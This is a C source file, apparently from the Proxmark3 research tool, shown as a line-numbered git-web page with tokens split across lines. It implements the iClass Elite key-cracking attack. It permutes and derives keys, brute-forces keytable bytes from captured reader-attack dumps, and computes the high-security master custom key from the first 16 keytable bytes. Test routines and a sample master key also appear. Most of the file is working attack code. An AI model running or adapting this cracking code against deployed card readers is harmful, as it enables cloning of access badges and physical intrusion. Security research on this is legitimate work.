]>
git.zerfleddert.de Git - proxmark3-svn/blob - client/loclass/elite_crack.c
6 #include "cipherutils.h"
9 #include "elite_crack.h"
10 #include "fileutils.h"
14 * @brief Permutes a key from standard NIST format to Iclass specific format
15 * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
17 * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below.
34 void permutekey(uint8_t key
[8], uint8_t dest
[8])
38 for(i
= 0 ; i
< 8 ; i
++)
40 dest
[i
] = (((key
[7] & (0x80 >> i
)) >> (7-i
)) << 7) |
41 (((key
[6] & (0x80 >> i
)) >> (7-i
)) << 6) |
42 (((key
[5] & (0x80 >> i
)) >> (7-i
)) << 5) |
43 (((key
[4] & (0x80 >> i
)) >> (7-i
)) << 4) |
44 (((key
[3] & (0x80 >> i
)) >> (7-i
)) << 3) |
45 (((key
[2] & (0x80 >> i
)) >> (7-i
)) << 2) |
46 (((key
[1] & (0x80 >> i
)) >> (7-i
)) << 1) |
47 (((key
[0] & (0x80 >> i
)) >> (7-i
)) << 0);
53 * Permutes a key from iclass specific format to NIST format
54 * @brief permutekey_rev
58 void permutekey_rev(uint8_t key
[8], uint8_t dest
[8])
61 for(i
= 0 ; i
< 8 ; i
++)
63 dest
[7-i
] = (((key
[0] & (0x80 >> i
)) >> (7-i
)) << 7) |
64 (((key
[1] & (0x80 >> i
)) >> (7-i
)) << 6) |
65 (((key
[2] & (0x80 >> i
)) >> (7-i
)) << 5) |
66 (((key
[3] & (0x80 >> i
)) >> (7-i
)) << 4) |
67 (((key
[4] & (0x80 >> i
)) >> (7-i
)) << 3) |
68 (((key
[5] & (0x80 >> i
)) >> (7-i
)) << 2) |
69 (((key
[6] & (0x80 >> i
)) >> (7-i
)) << 1) |
70 (((key
[7] & (0x80 >> i
)) >> (7-i
)) << 0);
75 * Helper function for hash1
80 uint8_t rr(uint8_t val
)
82 return val
>> 1 | (( val
& 1) << 7);
85 * Helper function for hash1
90 uint8_t rl(uint8_t val
)
92 return val
<< 1 | (( val
& 0x80) >> 7);
95 * Helper function for hash1
100 uint8_t swap(uint8_t val
)
102 return ((val
>> 4) & 0xFF) | ((val
&0xFF) << 4);
106 * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
107 * when constructing the K_sel.
108 * @param csn the CSN used
111 void hash1(uint8_t csn
[] , uint8_t k
[])
113 k
[0] = csn
[0]^csn
[1]^csn
[2]^csn
[3]^csn
[4]^csn
[5]^csn
[6]^csn
[7];
114 k
[1] = csn
[0]+csn
[1]+csn
[2]+csn
[3]+csn
[4]+csn
[5]+csn
[6]+csn
[7];
115 k
[2] = rr(swap( csn
[2]+k
[1] ));
116 k
[3] = rr(swap( csn
[3]+k
[0] ));
117 k
[4] = ~rr(swap( csn
[4]+k
[2] ))+1;
118 k
[5] = ~rr(swap( csn
[5]+k
[3] ))+1;
119 k
[6] = rr( csn
[6]+(k
[4]^0x3c) );
120 k
[7] = rl( csn
[7]+(k
[5]^0xc3) );
122 for(i
= 7; i
>=0; i
--)
126 Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
127 rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
128 rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
130 void rk(uint8_t *key
, uint8_t n
, uint8_t *outp_key
)
133 memcpy(outp_key
, key
, 8);
138 for(j
=0; j
< 8 ; j
++)
139 outp_key
[j
] = rl(outp_key
[j
]);
144 static des_context ctx_enc
= {DES_ENCRYPT
,{0}};
145 static des_context ctx_dec
= {DES_DECRYPT
,{0}};
147 void desdecrypt_iclass(uint8_t *iclass_key
, uint8_t *input
, uint8_t *output
)
149 uint8_t key_std_format
[8] = {0};
150 permutekey_rev(iclass_key
, key_std_format
);
151 des_setkey_dec( &ctx_dec
, key_std_format
);
152 des_crypt_ecb(&ctx_dec
,input
,output
);
154 void desencrypt_iclass(uint8_t *iclass_key
, uint8_t *input
, uint8_t *output
)
156 uint8_t key_std_format
[8] = {0};
157 permutekey_rev(iclass_key
, key_std_format
);
158 des_setkey_enc( &ctx_enc
, key_std_format
);
159 des_crypt_ecb(&ctx_enc
,input
,output
);
163 * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
164 * @param key unpermuted custom key
166 * @param key_sel output key_sel=h[hash1[i]]
168 void hash2(uint8_t *key64
, uint8_t *outp_keytable
)
172 * High Security Key Table
174 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
175 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
176 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
177 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
178 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
179 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
180 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
181 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
183 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
184 uint8_t key64_negated
[8] = {0};
185 uint8_t z
[8][8]={{0},{0}};
186 uint8_t temp_output
[8]={0};
187 //calculate complement of key
190 key64_negated
[i
]= ~key64
[i
];
192 // Once again, key is on iclass-format
193 desencrypt_iclass(key64
, key64_negated
, z
[0]);
195 prnlog("\nHigh security custom key (Kcus):");
196 printvar("z0 ", z
[0],8);
198 uint8_t y
[8][8]={{0},{0}};
200 // y[0]=DES_dec(z[0],~key)
201 // Once again, key is on iclass-format
202 desdecrypt_iclass(z
[0], key64_negated
, y
[0]);
203 printvar("y0 ", y
[0],8);
208 // z [i] = DES dec (rk(K cus , i), z [i−1] )
209 rk(key64
, i
, temp_output
);
210 //y [i] = DES enc (rk(K cus , i), y [i−1] )
212 desdecrypt_iclass(temp_output
,z
[i
-1], z
[i
]);
213 desencrypt_iclass(temp_output
,y
[i
-1], y
[i
]);
216 if(outp_keytable
!= NULL
)
218 for(i
= 0 ; i
< 8 ; i
++)
220 memcpy(outp_keytable
+i
*16,y
[i
],8);
221 memcpy(outp_keytable
+8+i
*16,z
[i
],8);
225 printarr_human_readable("hash2", outp_keytable
,128);
230 * @brief Reads data from the iclass-reader-attack dump file.
231 * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows:
232 * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
235 * So the first attack, with 3 bytes to recover would be : ... 03000145
236 * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
237 * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
239 * @param cc_nr an array to store cc_nr into (12 bytes)
240 * @param csn an arracy ot store CSN into (8 bytes)
241 * @param received_mac an array to store MAC into (4 bytes)
242 * @param i the number to read. Should be less than 127, or something is wrong...
245 int _readFromDump(uint8_t dump
[], dumpdata
* item
, uint8_t i
)
247 size_t itemsize
= sizeof(dumpdata
);
248 //dumpdata item = {0};
249 memcpy(item
,dump
+i
*itemsize
, itemsize
);
252 printvar("csn", item
->csn
,8);
253 printvar("cc_nr", item
->cc_nr
,12);
254 printvar("mac", item
->mac
,4);
259 static uint32_t startvalue
= 0;
261 * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
262 *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
263 *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
264 *It updates the keytable with the findings, also using the upper half of the 16-bit ints
265 *to signal if the particular byte has been cracked or not.
267 * @param dump The dumpdata from iclass reader attack.
268 * @param keytable where to write found values.
271 int bruteforceItem(dumpdata item
, uint16_t keytable
[])
274 uint8_t key_sel_p
[8] = { 0 };
275 uint8_t div_key
[8] = {0};
277 uint8_t key_sel
[8] = {0};
278 uint8_t calculated_MAC
[4] = { 0 };
280 //Get the key index (hash1)
281 uint8_t key_index
[8] = {0};
282 hash1(item
.csn
, key_index
);
286 * Determine which bytes to retrieve. A hash is typically
288 * We go through that hash, and in the corresponding keytable, we put markers
289 * on what state that particular index is:
290 * - CRACKED (this has already been cracked)
291 * - BEING_CRACKED (this is being bruteforced now)
292 * - CRACK_FAILED (self-explaining...)
294 * The markers are placed in the high area of the 16 bit key-table.
295 * Only the lower eight bits correspond to the (hopefully cracked) key-value.
297 uint8_t bytes_to_recover
[3] = {0};
298 uint8_t numbytes_to_recover
= 0 ;
300 for(i
=0 ; i
< 8 ; i
++)
302 if(keytable
[key_index
[i
]] & (CRACKED
| BEING_CRACKED
)) continue;
303 bytes_to_recover
[numbytes_to_recover
++] = key_index
[i
];
304 keytable
[key_index
[i
]] |= BEING_CRACKED
;
306 if(numbytes_to_recover
> 3)
308 prnlog("The CSN requires > 3 byte bruteforce, not supported");
309 printvar("CSN", item
.csn
,8);
310 printvar("HASH1", key_index
,8);
312 //Before we exit, reset the 'BEING_CRACKED' to zero
313 keytable
[bytes_to_recover
[0]] &= ~BEING_CRACKED
;
314 keytable
[bytes_to_recover
[1]] &= ~BEING_CRACKED
;
315 keytable
[bytes_to_recover
[2]] &= ~BEING_CRACKED
;
322 *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
324 uint32_t brute
= startvalue
;
326 Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
327 (when brute reaches 0x100). And so on...
328 bytes_to_recover = 1 --> endmask = 0x0000100
329 bytes_to_recover = 2 --> endmask = 0x0010000
330 bytes_to_recover = 3 --> endmask = 0x1000000
333 uint32_t endmask
= 1 << 8*numbytes_to_recover
;
335 for(i
=0 ; i
< numbytes_to_recover
&& numbytes_to_recover
> 1; i
++)
336 prnlog("Bruteforcing byte %d", bytes_to_recover
[i
]);
338 while(!found
&& !(brute
& endmask
))
341 //Update the keytable with the brute-values
342 for(i
=0 ; i
< numbytes_to_recover
; i
++)
344 keytable
[bytes_to_recover
[i
]] &= 0xFF00;
345 keytable
[bytes_to_recover
[i
]] |= (brute
>> (i
*8) & 0xFF);
348 // Piece together the key
349 key_sel
[0] = keytable
[key_index
[0]] & 0xFF;key_sel
[1] = keytable
[key_index
[1]] & 0xFF;
350 key_sel
[2] = keytable
[key_index
[2]] & 0xFF;key_sel
[3] = keytable
[key_index
[3]] & 0xFF;
351 key_sel
[4] = keytable
[key_index
[4]] & 0xFF;key_sel
[5] = keytable
[key_index
[5]] & 0xFF;
352 key_sel
[6] = keytable
[key_index
[6]] & 0xFF;key_sel
[7] = keytable
[key_index
[7]] & 0xFF;
354 //Permute from iclass format to standard format
355 permutekey_rev(key_sel
,key_sel_p
);
357 diversifyKey(item
.csn
, key_sel_p
, div_key
);
359 doMAC(item
.cc_nr
,12, div_key
,calculated_MAC
);
361 if(memcmp(calculated_MAC
, item
.mac
, 4) == 0)
363 for(i
=0 ; i
< numbytes_to_recover
; i
++)
364 prnlog("=> %d: 0x%02x", bytes_to_recover
[i
],0xFF & keytable
[bytes_to_recover
[i
]]);
369 if((brute
& 0xFFFF) == 0)
371 printf("%d",(brute
>> 16) & 0xFF);
377 prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover
);
378 printvar("CSN",item
.csn
,8);
380 //Before we exit, reset the 'BEING_CRACKED' to zero
381 for(i
=0 ; i
< numbytes_to_recover
; i
++)
383 keytable
[bytes_to_recover
[i
]] &= 0xFF;
384 keytable
[bytes_to_recover
[i
]] |= CRACK_FAILED
;
389 for(i
=0 ; i
< numbytes_to_recover
; i
++)
391 keytable
[bytes_to_recover
[i
]] &= 0xFF;
392 keytable
[bytes_to_recover
[i
]] |= CRACKED
;
401 * From dismantling iclass-paper:
402 * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
403 * Then he can simply recover the master custom key K_cus by computing
404 * K_cus = ~DES(z[0] , y[0] ) .
406 * Furthermore, the adversary is able to verify that he has the correct K cus by
407 * checking whether z [0] = DES enc (K_cus , ~K_cus ).
408 * @param keytable an array (128 bytes) of hash2(kcus)
409 * @param master_key where to put the master key
410 * @return 0 for ok, 1 for failz
412 int calculateMasterKey(uint8_t first16bytes
[], uint64_t master_key
[] )
414 des_context ctx_e
= {DES_ENCRYPT
,{0}};
416 uint8_t z_0
[8] = {0};
417 uint8_t y_0
[8] = {0};
418 uint8_t z_0_rev
[8] = {0};
419 uint8_t key64
[8] = {0};
420 uint8_t key64_negated
[8] = {0};
421 uint8_t result
[8] = {0};
423 // y_0 and z_0 are the first 16 bytes of the keytable
424 memcpy(y_0
,first16bytes
,8);
425 memcpy(z_0
,first16bytes
+8,8);
427 // Our DES-implementation uses the standard NIST
428 // format for keys, thus must translate from iclass
429 // format to NIST-format
430 permutekey_rev(z_0
, z_0_rev
);
432 // ~K_cus = DESenc(z[0], y[0])
433 des_setkey_enc( &ctx_e
, z_0_rev
);
434 des_crypt_ecb(&ctx_e
, y_0
, key64_negated
);
437 for(i
= 0; i
< 8 ; i
++)
439 key64
[i
] = ~key64_negated
[i
];
442 // Can we verify that the key is correct?
443 // Once again, key is on iclass-format
444 uint8_t key64_stdformat
[8] = {0};
445 permutekey_rev(key64
, key64_stdformat
);
447 des_setkey_enc( &ctx_e
, key64_stdformat
);
448 des_crypt_ecb(&ctx_e
, key64_negated
, result
);
449 prnlog("\nHigh security custom key (Kcus):");
450 printvar("Std format ", key64_stdformat
,8);
451 printvar("Iclass format", key64
,8);
453 if(master_key
!= NULL
)
454 memcpy(master_key
, key64
, 8);
456 if(memcmp(z_0
,result
,4) != 0)
458 prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
461 prnlog("Key verified ok!\n");
466 * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
472 int bruteforceDump(uint8_t dump
[], size_t dumpsize
, uint16_t keytable
[])
476 size_t itemsize
= sizeof(dumpdata
);
477 clock_t t1
= clock();
479 dumpdata
* attack
= (dumpdata
* ) malloc(itemsize
);
481 for(i
= 0 ; i
* itemsize
< dumpsize
; i
++ )
483 memcpy(attack
,dump
+i
*itemsize
, itemsize
);
484 errors
+= bruteforceItem(*attack
, keytable
);
487 clock_t t2
= clock();
488 float diff
= (((float)t2
- (float)t1
) / CLOCKS_PER_SEC
);
489 prnlog("\nPerformed full crack in %f seconds",diff
);
491 // Pick out the first 16 bytes of the keytable.
492 // The keytable is now in 16-bit ints, where the upper 8 bits
493 // indicate crack-status. Those must be discarded for the
494 // master key calculation
495 uint8_t first16bytes
[16] = {0};
497 for(i
= 0 ; i
< 16 ; i
++)
499 first16bytes
[i
] = keytable
[i
] & 0xFF;
500 if(!(keytable
[i
] & CRACKED
))
502 prnlog("Error, we are missing byte %d, custom key calculation will fail...", i
);
505 errors
+= calculateMasterKey(first16bytes
, NULL
);
509 * Perform a bruteforce against a file which has been saved by pm3
511 * @brief bruteforceFile
515 int bruteforceFile(const char *filename
, uint16_t keytable
[])
518 FILE *f
= fopen(filename
, "rb");
520 prnlog("Failed to read from file '%s'", filename
);
524 fseek(f
, 0, SEEK_END
);
525 long fsize
= ftell(f
);
526 fseek(f
, 0, SEEK_SET
);
528 uint8_t *dump
= malloc(fsize
);
529 size_t bytes_read
= fread(dump
, fsize
, 1, f
);
532 if (bytes_read
< fsize
)
534 prnlog("Error, could only read %d bytes (should be %d)",bytes_read
, fsize
);
536 return bruteforceDump(dump
,fsize
,keytable
);
540 * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
544 int bruteforceFileNoKeys(const char *filename
)
546 uint16_t keytable
[128] = {0};
547 return bruteforceFile(filename
, keytable
);
550 // ---------------------------------------------------------------------------------
551 // ALL CODE BELOW THIS LINE IS PURELY TESTING
552 // ---------------------------------------------------------------------------------
553 // ----------------------------------------------------------------------------
555 // ----------------------------------------------------------------------------
557 int _testBruteforce()
562 prnlog("[+] Testing crack from dumpfile...");
565 Expected values for the dumpfile:
566 High Security Key Table
568 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
569 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
570 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
571 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
572 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
573 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
574 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
575 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
577 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
579 uint16_t keytable
[128] = {0};
581 startvalue
= 0x7B0000;
582 errors
|= bruteforceFile("iclass_dump.bin",keytable
);
587 int _test_iclass_key_permutation()
589 uint8_t testcase
[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
590 uint8_t testcase_output
[8] = {0};
591 uint8_t testcase_output_correct
[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
592 uint8_t testcase_output_rev
[8] = {0};
593 permutekey(testcase
, testcase_output
);
594 permutekey_rev(testcase_output
, testcase_output_rev
);
597 if(memcmp(testcase_output
, testcase_output_correct
,8) != 0)
599 prnlog("Error with iclass key permute!");
600 printarr("testcase_output", testcase_output
, 8);
601 printarr("testcase_output_correct", testcase_output_correct
, 8);
605 if(memcmp(testcase
, testcase_output_rev
, 8) != 0)
607 prnlog("Error with reverse iclass key permute");
608 printarr("testcase", testcase
, 8);
609 printarr("testcase_output_rev", testcase_output_rev
, 8);
613 prnlog("[+] Iclass key permutation OK!");
619 prnlog("[+] Testing iClass Elite functinality...");
620 prnlog("[+] Testing hash2");
621 uint8_t k_cus
[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39};
625 * High Security Key Table
627 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
628 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
629 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
630 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
631 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
632 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
633 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
634 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
638 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
640 uint8_t keytable
[128] = {0};
641 hash2(k_cus
, keytable
);
642 printarr_human_readable("Hash2", keytable
, 128);
643 if(keytable
[3] == 0xA1 && keytable
[0x30] == 0xA3 && keytable
[0x6F] == 0x95)
645 prnlog("[+] Hash2 looks fine...");
648 prnlog("[+] Testing key diversification ...");
651 errors
+=_test_iclass_key_permutation();
652 errors
+= _testBruteforce();